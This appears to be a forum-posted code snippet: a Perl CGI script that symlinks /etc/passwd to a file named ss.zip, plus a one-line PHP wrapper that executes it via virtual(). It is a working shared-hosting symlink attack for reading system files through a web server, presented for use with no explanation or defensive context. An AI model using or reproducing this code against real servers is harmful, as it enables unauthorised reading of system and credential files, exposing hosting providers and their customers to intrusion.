Code:
#!/usr/bin/perl -w
$target="/etc/passwd";
$distension ="ss.zip";
print "Content-type: text/html\n\n";
print '<body text="#C0C0C0" bgcolor="#000000">';
$symlink = symlink($target,$distension);
if($symlink == 1) { print " $distension Symlink Created Successfully . . ."; }
else { print "Cannot Symlink File or File $distension Already Exists . . ."; }Code:
<?php virtual("./ss.pl"); ?>